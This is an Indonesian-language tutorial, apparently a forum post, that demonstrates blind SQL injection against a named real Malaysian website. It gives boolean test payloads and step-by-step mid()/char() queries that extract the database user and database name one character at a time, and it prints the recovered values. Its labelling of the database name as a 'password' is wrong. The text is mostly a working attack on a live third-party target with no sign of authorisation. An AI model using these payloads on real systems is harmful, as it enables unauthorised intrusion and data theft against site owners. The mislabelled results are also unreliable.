Teknik Blind Injection

Blind Injection..? ini salah satu teknik Attacker untuk Tester web.

+Target
http://cmc.msc.com.my/event_detail.php?ID=190

+Test vulnerable

http://cmc.msc.com.my/event_detail.php?ID=190 and 1=1 <<< True
http://cmc.msc.com.my/event_detail.php?ID=190 and 1=2 <<< False


Setelah yakin bahwa site itu ada Vulnerablenya,

+Inject

http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(65)

Bingung ya..? Okay.. jelasin dikit yah..

# mid(user()1,1) >>> dalam masalah ini, kita belum tahu value atau nilai dari user itu apa, maka dalam "()" kita sengaja kosongkan saja..

# 1,1 >>> urutan dari value tsb.

# CHAR >>> perubah dalam desimal

# 65 >>>  value desimal tsb dan 65 adalah "A" dalam ASCII jadi kita mengawalinya dengan "A" >> 65 dalam ASCII , bisa di awali dari apa aja, tapi untuk lebih valid, kita awali dengan huruf "A" >>> 65

Setelah kita masukkan URL tadi, apa yang akan di tampilkan..? Yup, nilainya ada 2, True or False.

True >>> jika halamannya menampilkan dalam keadaan normal (berita, gambar, dll tidak hilang)
False >>> jika halamannya tidak menampilkan sebagian atau seluruh isi dari halaman tsb (berita, gambar, dll ada yg hilang)

http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(65) <<< false
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(66) <<< false
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(67) <<< true


Akhirnya dapet nilai True di char 67, dalam ASCII adalah karakter C

cari nilai kedua >>>

http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,2)=char(67,65) <<< false

liat 1,1 nya , udah diganti sama 1,2. Jadi kalau sudah dapat true lagi, ganti saja menjadi 1,3 ; 1,4 ; dst...

Nah, akhirnya kita dapet nilai true yang kedua :
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,2)=char(67,82)

pada angka 82 >>> R dalam ASCII

Lanjut sampe halaman tsb bernilai false dan akan mendapatkan :

http://cmc.msc.com.my/event_detail.php?ID=190%20and%20mid(user(),1,10)=char(67,82,69,83,84,81,95,67,77,68)

67 = C
82 = R
69 = E
83 = S
84 = T
81 = Q
95 = _
67 = C
77 = M
68 = D


Nah itu "username" nya >>> CRESTQ_CMD
kalau mau nyari "password" nya >>> value user() ganti jadi >>> database() , dan dilakukan sama dengan cara di atas :

http://cmc.msc.com.my/event_detail.php?ID=190%20and%20mid(database(),1,12)=char(67,82,69,83,84,81,95,67,77,68,68,66)

67 = C
82 = R
69 = E
83 = S
84 = T
81 = Q
95 = _
67 = C
77 = M
68 = D
68 = D
66 = B


Password yang di dapat >>> CRESTQ_CMDDB
"user" dan "password" >>> CRESTQ_CMD dan CRESTQ_CMDDB

yang kita dapatkan itu belum tentu user dan password. tergantung databasenya.
Jadi ga selalu user() >> user
password()>> password,dll
Ternyata ga serumit yang kita bayangkan, tapi harus ada waktu panjang untuk teknik blind injection ini.. :)